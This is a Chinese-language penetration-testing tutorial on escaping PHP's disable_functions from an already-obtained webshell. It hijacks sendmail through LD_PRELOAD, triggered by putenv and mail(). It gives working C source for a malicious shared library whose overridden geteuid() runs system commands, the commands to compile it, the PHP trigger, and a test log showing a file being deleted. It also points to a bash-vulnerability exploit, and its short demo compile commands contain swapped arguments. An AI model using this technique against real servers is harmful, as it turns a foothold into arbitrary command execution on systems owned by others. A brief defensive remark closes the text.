在做滲透測試的時候如果遇到安全配置比較好的服務器,當你通過各種途徑獲得一個php類型的webshell后,卻發現面對的是無法執行系統命令的尷尬,因為這類服務器針對命令執行函數做了防范措施,后續的滲透行為都因此而止步。筆者這里分享一個繞過思路,希望你能在實際測試中派上用場。
嚴苛環境下php設置的disable_function如下:
如果你遇到的設置中漏掉某些函數,那再好不過了,直接利用漏掉的函數繞過。但如果運氣不太好,遇到這種所有能直接執行系統命令的函數都被禁用的情況,那真是欲哭無淚。想反彈一個cmdshell變成奢望。當然考慮到開發使用等影響因素,一般web環境不應完全禁用。
筆者經過大量資料搜尋,發現在這種情況下還有幾種執行系統命令的方法,例如通過/proc/self/mem 修改got來劫持庫函數調用以及php反序列化內存破壞漏洞利用,但這些方法利用起來難度都較大,你得先搞清楚內存偏移地址等等知識點,并搭建相同的平臺進行調試。而且一般來說安全配置還會嚴格限制用戶的文件權限并設置open_basedir,你根本沒有機會去讀取mem等文件,很難利用成功。
那么還有沒有別的方法?putenv和mail函數給了我們希望,如果系統沒有修補bash漏洞,利用網上已經給出的poc:http://www.exploit-db.com/exploits/35146/ 可以輕松繞過。
這個poc大體思路是通過putenv來設置一個包含自定義函數的環境變量,通過mail函數來觸發。為什么mail函數能觸發,因為mail函數在執行過程中,php與系統命令執行函數有了交集,它調用了popen函數來執行,如果系統有bash漏洞,就直接觸發了惡意代碼的執行。但一般這種漏洞,安全意識好一點的運維,都會給打上補丁了。
那么我們來繼續挖掘一下它的思路,php的mail函數在執行過程中會默認調用系統程序/usr/sbin/sendmail,如果我們能劫持sendmail程序,再用mail函數來觸發就能實現我們的目的了。那么我們有沒有辦法在webshell層來劫持它呢,環境變量LD_PRELOAD給我們提供了一種簡單實用的途徑。
在UNIX的動態鏈接庫的世界中,LD_PRELOAD是一個有趣的環境變量,它可以影響程序運行時的鏈接,它允許你定義在程序運行前優先加載的動態鏈接庫。如果你想進一步了解這些知識,可以去網上搜索相關文章,這里不做過多解釋,直接來看一段例程,就能明白利用原理。
例程:verifypasswd.c
#!c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
}
程序很簡單,根據判斷傳入的字符串是否等于"password",得出兩種不同結果。 其中用到了標準C函數strcmp函數來做比較,這是一個外部調用函數,我們來重新編寫一個同名函數:
#!c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}
把它編譯為一個動態共享庫:
#!shell
$ gcc -o verifypasswd.c verifypasswd
$ gcc -shared verifypasswd -o hack.so
通過LD_PRELOAD來設置它能被其他調用它的程序優先加載:
#!shell
$ export LD_PRELOAD="./hack.so"
運行給出的例程:
#!shell
$ ./verifypasswd abcd
$ Correct Password!
我們看到隨意輸入字符串都會顯示密碼正確,這說明程序在運行時優先加載了我們自己編寫的程序。這也就是說如果程序在運行過程中調用了某個標準的動態鏈接庫的函數,那么我們就有機會通過LD_PRELOAD來設置它優先加載我們自己編寫的程序,實現劫持。
那么我們來看一下sendmail函數都調用了哪些庫函數,使用readelf -Ws /usr/sbin/sendmail
命令來查看,我們發現sendmail函數在運行過程動態調用了很多標準庫函數:
#!shell
[[email protected] Desktop]$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 202 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000238 0 SECTION LOCAL DEFAULT 1
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.3 (3)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.3 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version
13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
19: 0000000000000000 0 FUNC WEAK DEFAULT UND [email protected]_2.2.5 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [email protected]_2.2.5 (2)
......
從中選取一個合適的庫函數后我們就可以進行測試了:
我們來測試刪除一個新建的文件,這里我們選取geteuid()函數來改造,先在/tmp目錄新建一個文件check.txt。
編寫hack.c:
#!c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
當這個共享庫中的geteuid被調用時,嘗試加載payload()函數,執行命令。這個測試函數寫的很簡單,實際應用時可相應調整完善。在攻擊機上(注意編譯平臺應和靶機平臺相近,至少不能一個是32位一個是64位)把它編譯為一個位置信息無關的動態共享庫:
#!shell
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
再上傳到webshell上,然后寫一段簡單的php代碼:
#!php
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("[email protected]","","","","");
?>
在瀏覽器中打開就可以執行它,然后再去檢查新建的文件是否還存在,找不到文件則表示系統成功執行了刪除命令,也就意味著繞過成功,測試中注意修改為實際路徑。 本地測試效果如下:
#!shell
[[email protected] Desktop]$ touch /tmp/check.txt
[[email protected] bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[[email protected] bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory
普通用戶權限,目標文件被刪除。
以上方法在Linux RHEL6及自帶郵件服務+php5.3.X以下平臺測試通過,精力有限未繼續在其他平臺測試,新版本可能進行了相應修復。這種繞過行為其實也很容易防御,禁用相關函數或者限制環境變量的傳遞,例如安全模式下,這種傳遞是不會成功的。這個思路不僅僅局限于mail函數,你可以嘗試追蹤其他函數的調用過程,例如syslog等與系統層有交集的函數是否也有類似調用動態共享庫的行為來舉一反三。